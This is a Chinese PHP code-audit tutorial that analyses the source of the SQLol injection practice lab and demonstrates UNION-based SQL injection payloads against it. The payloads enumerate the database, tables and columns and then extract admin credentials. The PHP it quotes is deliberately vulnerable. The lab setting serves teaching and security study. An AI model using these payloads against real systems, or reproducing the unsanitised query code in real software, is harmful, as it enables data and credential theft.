0x01 背景
首先恭喜Seay法师的力作《代码审计:企业级web代码安全架构》,读了两天后深有感触。想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更好的了解这一领域,同时也作为自己的一种沉淀。大牛请自觉绕道~
0x02 环境搭建
PHP+MySql的集成环境特别多,像PhpStudy、Wamp和Lamp等下一步下一步点下去就成功安装了,网上搜索一下很多就不赘述。 这里提的环境是SQLol,它是一个可配置的SQL注入测试平台,包含了简单的SQL注入测试环境,即SQL语句的四元素增(Insert)、删(Delete)、改(Update)和查(Select)。 PS:什么都没过滤的情况太少了,现在再怎么没有接触过安全的程序员都知道用一些现成的框架来写代码,都有过滤的。所以这个平台主要训练在各种情况下如何进行sql注入以及如何写POC。 ①源码我打包了一份:http://pan.baidu.com/s/1nu2vaOT ②解压到www的sql目录下,直接打开http://localhost/sql即可看到如下界面:
0x03 漏洞分析
首先看下源码结构,比较简单,只有一个include文件夹包含一些数据库配置文件: 这里进行简单的源码分析,看不懂就略过以后再看~ 1.看select.php文件,开始引入了/include/nav.inc.php
<?php include ('includes/nav.inc.php' );?>
2.跟进nav.inc.php文件,发现该文件是select的核心表单提交页面以及输入处理程序: 表单的输入处理程序比较简单,主要是根据你表单的选择作出相应的过滤和处理,如下
<?php $_REQUEST = array_merge($_GET , $_POST , $_COOKIE );if (isset ($_REQUEST ['submit' ])) { //submit后,开始进入处理程序 switch ($_REQUEST ['sanitize_quotes' ]) { //单引号的处理,表单选择不过滤,就是对应none,新手看不懂可以学好php再回来 case 'quotes_double' : $_REQUEST ['inject_string' ] = str_replace('\'' , '\'\'' , $_REQUEST ['inject_string' ]); break ; case 'quotes_escape' : $_REQUEST ['inject_string' ] = str_replace('\'' , '\\\'' , $_REQUEST ['inject_string' ]); break ; case 'quotes_remove' : $_REQUEST ['inject_string' ] = str_replace('\'' , '' , $_REQUEST ['inject_string' ]); break ; } //对空格的处理,如果参数中没有spaces_remove或者spaces_remove!=on就不会过滤空格 if (isset ($_REQUEST ['spaces_remove' ]) and $_REQUEST ['spaces_remove' ] == 'on' ) $_REQUEST ['inject_string' ] = str_replace(' ' , '' , $_REQUEST ['inject_string' ]); //黑名单关键字的处理,文章用不上,略过... if (isset ($_REQUEST ['blacklist_keywords' ])) { $blacklist = explode(',' , $_REQUEST ['blacklist_keywords' ]); } //过滤级别,新手可以不用管,略过... if (isset ($_REQUEST ['blacklist_level' ])) { switch ($_REQUEST ['blacklist_level' ]) { //We process blacklists differently at each level. At the lowest, each keyword is removed case-sensitively. //At medium blacklisting, checks are done case-insensitively. //At the highest level, checks are done case-insensitively and repeatedly. case 'low' : foreach ($blacklist as $keyword ) { $_REQUEST ['inject_string' ] = str_replace($keyword , '' , $_REQUEST ['inject_string' ]); } break ; case 'medium' : foreach ($blacklist as $keyword ) { $_REQUEST ['inject_string' ] = str_replace(strtolower($keyword ), '' , strtolower($_REQUEST ['inject_string' ])); } break ; case 'high' : do { $keyword_found = 0 ; foreach ($blacklist as $keyword ) { $_REQUEST ['inject_string' ] = str_replace(strtolower($keyword ), '' , strtolower($_REQUEST ['inject_string' ]), $count ); $keyword_found += $count ; } } while ($keyword_found ); break ; } } } ?>
3.我们再返回到select.php,发现后面也有个submit后表单处理程序,判断要注射的位置并构造sql语句,跟进看下:
<?php if (isset ($_REQUEST ['submit' ])){ //submit后,进入处理程序之二,1在上面 if ($_REQUEST ['location' ] == 'entire_query' ){//判断是不是整条语句都要注入,这里方便学习可以忽略不管 $query = $_REQUEST ['inject_string' ]; if (isset ($_REQUEST ['show_query' ]) and $_REQUEST ['show_query' ]=='on' ) $displayquery = '<u>' . $_REQUEST ['inject_string' ] . '</u>' ; } else { //这里是根据你选择要注射的位置来构造sql语句 $display_column_name = $column_name = 'username' ; $display_table_name = $table_name = 'users' ; $display_where_clause = $where_clause = 'WHERE isadmin = 0' ; $display_group_by_clause = $group_by_clause = 'GROUP BY username' ; $display_order_by_clause = $order_by_clause = 'ORDER BY username ASC' ; $display_having_clause = $having_clause = 'HAVING 1 = 1' ; switch ($_REQUEST ['location' ]){ case 'column_name' : $column_name = $_REQUEST ['inject_string' ]; $display_column_name = '<u>' . $_REQUEST ['inject_string' ] . '</u>' ; break ; case 'table_name' : $table_name = $_REQUEST ['inject_string' ]; $display_table_name = '<u>' . $_REQUEST ['inject_string' ] . '</u>' ; break ; case 'where_string' : $where_clause = "WHERE username = '" . $_REQUEST ['inject_string' ] . "'" ; $display_where_clause = "WHERE username = '" . '<u>' . $_REQUEST ['inject_string' ] . '</u>' . "'" ; break ; case 'where_int' : $where_clause = 'WHERE isadmin = ' . $_REQUEST ['inject_string' ]; $display_where_clause = 'WHERE isadmin = ' . '<u>' . $_REQUEST ['inject_string' ] . '</u>' ; break ; case 'group_by' : $group_by_clause = 'GROUP BY ' . $_REQUEST ['inject_string' ]; $display_group_by_clause = 'GROUP BY ' . '<u>' . $_REQUEST ['inject_string' ] . '</u>' ; break ; case 'order_by' : $order_by_clause = 'ORDER BY ' . $_REQUEST ['inject_string' ] . ' ASC' ; $display_order_by_clause = 'ORDER BY ' . '<u>' . $_REQUEST ['inject_string' ] . '</u>' . ' ASC' ; break ; case 'having' : $having_clause = 'HAVING isadmin = ' . $_REQUEST ['inject_string' ]; $display_having_clause = 'HAVING isadmin = ' . '<u>' . $_REQUEST ['inject_string' ] . '</u>' ; break ; } $query = "SELECT $column_name FROM $table_name $where_clause $group_by_clause $order_by_clause " ; /*Probably a better way to create $displayquery... This allows me to underline the injection string in the resulting query that's displayed with the "Show Query" option without munging the query which hits the database.*/ $displayquery = "SELECT $display_column_name FROM $display_table_name $display_where_clause $display_group_by_clause $display_order_by_clause " ; } include ('includes/database.inc.php' );//这里又引入了一个包,我们继续跟进看看 } ?>
4.跟进database.inc.php,终于带入查询了,所以表单看懂了,整个过程就没过滤^ ^
$db_conn = NewADOConnection($dsn );print ("\n<br>\n<br>" );if (isset ($_REQUEST ['show_query' ]) and $_REQUEST ['show_query' ]=='on' ) echo "Query (injection string is <u>underlined</u>): " . $displayquery . "\n<br>" ;$db_conn ->SetFetchMode(ADODB_FETCH_ASSOC);$results = $db_conn ->Execute($query );
0x04 漏洞证明
1.有了注入点了,我们先随意输入1然后选择注射位置为Where子句里的数字,开启Seay的MySql日志监控: 2.SQL查询语句为:SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC 根据MySql日志监控里获取的sql语句判断可输出的只有一个字段,然后我们构造POC:
-1 union select 222333 #
找到输出点“222333”的位置如下图: 3.构造获取数据库相关信息的POC:
-1 union select concat (database(),0 x5c,user (),0 x5c,version ())#
成功获取数据库名(sqlol)、账户名(root@localhost)和数据库版本(5.6.12)如下: 4.构造获取数据库sqlol中所有表信息的POC:
-1 union select GROUP_CONCAT (DISTINCT table_name ) from information_schema.tables where table_schema =0x73716C6F6C #
成功获取数据库sqlol所有表信息如下: 5.构造获取admin表所有字段信息的POC:
-1 union select GROUP_CONCAT (DISTINCT column_name ) from information_schema.columns where table_name =0x61646D696E #
成功获取表admin所有字段信息如下: 6.构造获取admin表账户密码的POC:
-1 union select GROUP_CONCAT(DISTINCT username,0x5f ,password) from admin#
成功获取管理员的账户密码信息如下:
本文由HackBraid整理总结,原文链接:http://www.cnbraid.com/2015/12/17/sql0/ ,如需转载请联系作者。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
· 张高兴的大模型开发实战:(一)使用 Selenium 进行网页爬虫